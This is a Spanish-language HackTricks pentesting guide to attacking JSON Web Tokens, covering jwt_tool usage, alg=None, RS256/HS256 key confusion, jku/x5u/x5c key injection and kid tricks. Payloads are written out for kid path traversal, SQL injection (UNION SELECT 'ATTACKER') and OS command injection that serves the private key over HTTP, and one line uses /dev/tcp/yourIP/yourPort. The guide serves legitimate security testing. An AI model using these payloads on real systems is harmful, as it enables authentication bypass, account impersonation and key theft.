hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

254 lines
19 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilidades de JWT (Json Web Tokens)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (638) (3).png>)
**Consejo de recompensa por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
{% embed url="https://go.intigriti.com/hacktricks" %}
**Parte de este post fue tomado de:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor de la gran herramienta para pentesting de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Ganancias rápidas**
Ejecuta [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con el modo `¡Todas las pruebas!` y espera a que aparezcan las líneas verdes.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Si tienes suerte, la herramienta encontrará algún caso en el que la aplicación web esté comprobando correctamente el JWT:
![](<../.gitbook/assets/image (435).png>)
Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando la herramienta jwt\_tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Manipulación de datos sin modificar nada
Puede manipular los datos sin modificar la firma y comprobar si el servidor está comprobando la firma. Intente cambiar su nombre de usuario a "admin", por ejemplo.
#### **¿Se comprueba el token?**
* Si se produce un mensaje de error, se está comprobando la firma: lea cualquier información detallada de error que pueda filtrar algo sensible.
* Si la página devuelta es diferente, se está comprobando la firma.
* Si la página es la misma, entonces no se está comprobando la firma: ¡es hora de empezar a manipular las reclamaciones de carga útil para ver qué se puede hacer!
### Origen
Compruebe de dónde proviene el token en el historial de solicitudes de su proxy. Debe ser creado en el servidor, no en el cliente.
* Si se vio por primera vez que venía del lado del cliente, la **clave** es accesible para el código del lado del cliente: ¡búsquela!
* Si se vio por primera vez que venía del servidor, entonces todo está bien.
### Duración
Compruebe si el token dura más de 24 horas... tal vez nunca expire. Si hay un campo "exp", compruebe si el servidor lo está manejando correctamente.
### Fuerza bruta del secreto HMAC
[**Vea esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Modificar el algoritmo a None (CVE-2015-9235)
Establezca el algoritmo utilizado como "None" y elimine la parte de la firma.
Utilice la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envíe la solicitud a Repeater y en la pestaña "JSON Web Token" puede modificar los valores del token. También puede seleccionar poner el valor del campo "Alg" en "None").
### Cambiar el algoritmo RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje.\
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y utiliza la clave pública para la autenticación.
Si cambia el algoritmo de RS256 a HS256, el código de back-end utiliza la clave pública como clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.
Luego, utilizando la clave pública y cambiando RS256 a HS256, podríamos crear una firma válida. Puede recuperar el certificado del servidor web ejecutando esto:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nueva clave pública dentro del encabezado
Un atacante incrusta una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).
Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\
(Envíe la solicitud al Repeater, dentro de la pestaña JSON Web Token seleccione "CVE-2018-0114" y envíe la solicitud).
### Suplantación de JWKS
Si el token utiliza una reclamación de encabezado "jku", verifique la URL proporcionada. Esto debería apuntar a una URL que contenga el archivo JWKS que contiene la clave pública para verificar el token. Manipule el token para que apunte el valor jku a un servicio web del que pueda monitorear el tráfico.
Si obtiene una interacción HTTP, ahora sabe que el servidor está intentando cargar claves desde la URL que está suministrando. _Use la bandera -S de jwt\_tool junto con el argumento -u_ [_http://example.com_](http://example.com) _para generar un nuevo par de claves, inyectar su URL proporcionada, generar un JWKS que contenga la clave pública y firmar el token con la clave privada_
### Problemas de "kid"
`kid` es una reclamación de encabezado opcional que contiene un identificador de clave, especialmente útil cuando tiene varias claves para firmar los tokens y necesita buscar la correcta para verificar la firma.
#### Problemas de "kid" - revelar clave
Si se utiliza la reclamación "kid" en el encabezado, verifique el directorio web de ese archivo o una variación del mismo. Por ejemplo, si `"kid":"key/12345"`, busque _/key/12345_ y _/key/12345.pem_ en la raíz web.
#### Problemas de "kid" - travesía de ruta
Si se utiliza la reclamación "kid" en el encabezado, verifique si puede usar un archivo diferente en el sistema de archivos. Elija un archivo cuyo contenido pueda predecir, o tal vez intente `"kid":"/dev/tcp/yourIP/yourPort"` para probar la conectividad, o incluso algunos payloads de **SSRF**...\
_Use la bandera -T de jwt\_tool para manipular el JWT y cambiar el valor de la reclamación kid, luego elija mantener la firma original_
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Usando archivos dentro del host con contenido conocido, también se puede falsificar un JWT válido. Por ejemplo, en sistemas Linux, el archivo `/proc/sys/kernel/randomize_va_space` tiene el valor establecido en **2**. Entonces, al poner esa **ruta** dentro del parámetro "**kid**" y usar "**2**" como la **contraseña simétrica** para generar el JWT, debería poder generar un nuevo JWT válido.
#### Problemas con "kid" - Inyección SQL
En un escenario donde el contenido de "kid" se usa para recuperar la contraseña de la base de datos, podría cambiar la carga útil dentro del parámetro "kid" a: `non-existent-index' UNION SELECT 'ATTACKER';-- -` y luego firmar el JWT con la clave secreta `ATTACKER`.
#### Problemas con "kid" - Inyección de SO
En un escenario donde el parámetro "kid" contiene una ruta al archivo con la clave y esta ruta se está utilizando **dentro de un comando ejecutado**, podría obtener RCE y exponer la clave privada con una carga útil como la siguiente: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### Ataques varios
Los siguientes son debilidades conocidas que deben ser probadas.
**Ataques de retransmisión entre servicios**
Algunas aplicaciones web usan un JWT de confianza "servicio" para generar y administrar tokens para ellos. En el pasado, se han producido algunas instancias en las que un token generado para uno de los clientes del servicio JWT puede ser aceptado por otro de los clientes del servicio JWT.\
Si observa que el JWT se emite o renueva a través de un servicio de terceros, vale la pena identificar si puede registrarse para obtener una cuenta en otro de los clientes de ese servicio con su mismo nombre de usuario/correo electrónico. Si es así, intente tomar ese token y reproducirlo en una solicitud a su objetivo. ¿Es aceptado?
* Si se acepta su token, puede tener un problema crítico que le permita falsificar la cuenta de cualquier usuario. SIN EMBARGO, tenga en cuenta que si se registra en una aplicación de terceros, es posible que necesite buscar permiso para permisos de prueba más amplios en caso de que entre en una zona gris legal.
**¿Se comprueba exp?**
La afirmación de carga útil "exp" se utiliza para verificar el vencimiento de un token. Como los JWT a menudo se usan en ausencia de información de sesión, deben manejarse con cuidado: en muchos casos, capturar y reproducir el JWT de otra persona le permitirá hacerse pasar por ese usuario.\
Una mitigación contra los ataques de reproducción de JWT (que es recomendada por el RFC de JWT) es usar la afirmación "exp" para establecer un tiempo de vencimiento para el token. También es importante establecer los controles relevantes en la aplicación para asegurarse de que este valor se procese y el token se rechace cuando haya expirado. Si el token contiene una afirmación "exp" y los límites de tiempo de prueba lo permiten, intente almacenar el token y reproducirlo después de que haya pasado el tiempo de vencimiento. _Use la opción -R de jwt\_tool para leer el contenido del token, que incluye el análisis de la marca de tiempo y la comprobación de vencimiento (marca de tiempo en UTC)_
* Si el token aún se valida en la aplicación, esto puede ser un riesgo de seguridad ya que el token puede NUNCA expirar.
### x5u y jku
#### jku
jku significa **URL del conjunto de claves JWK**.\
Si el token usa una afirmación de encabezado "**jku**", **verifique la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que contiene la clave pública para verificar el token. Manipule el token para que apunte el valor jku a un servicio web del que pueda monitorear el tráfico.
Primero, debe crear un nuevo certificado con nuevas claves privadas y públicas.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado.** Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.
Puedes obtener los parámetros "e" y "n" de un certificado público usando:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en formato PEM. El primer certificado en el conjunto debe ser el utilizado para firmar este JWT. Los certificados subsiguientes firman cada uno el anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
Intente **cambiar este encabezado por una URL bajo su control** y verifique si se recibe alguna solicitud. En ese caso, **podría manipular el JWT**.
Para forjar un nuevo token utilizando un certificado controlado por usted, debe crear el certificado y extraer las claves públicas y privadas:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Entonces, puedes usar por ejemplo [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.**
![](<../.gitbook/assets/image (439).png>)
También puedes abusar de ambas vulnerabilidades **para SSRFs**.
#### x5c
Este parámetro puede contener el **certificado en base64**:
![](<../.gitbook/assets/image (440).png>)
Si el atacante **genera un certificado autofirmado** y crea un token falso usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, es decir, n, e y x5t, entonces esencialmente el token falso sería aceptado por el servidor.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Clave pública incrustada (CVE-2018-0114)
Si el JWT tiene incrustada una clave pública como en el siguiente escenario:
![](<../.gitbook/assets/image (438).png>)
Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Puedes obtener "n" y "e" usando este script de nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finalmente, utilizando la clave pública y privada y los nuevos valores "n" y "e", se puede utilizar [jwt.io](https://jwt.io) para forjar un nuevo JWT válido con cualquier información.
### JTI (JWT ID)
La afirmación JTI (JWT ID) proporciona un identificador único para un token JWT. Se puede utilizar para evitar que el token se reproduzca.\
Sin embargo, imagina una situación en la que la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a utilizar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, se podría abusar de esto para **reproducir una solicitud** (necesitando enviar 10000 solicitudes entre cada reproducción exitosa).
### Afirmaciones registradas de JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Herramientas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>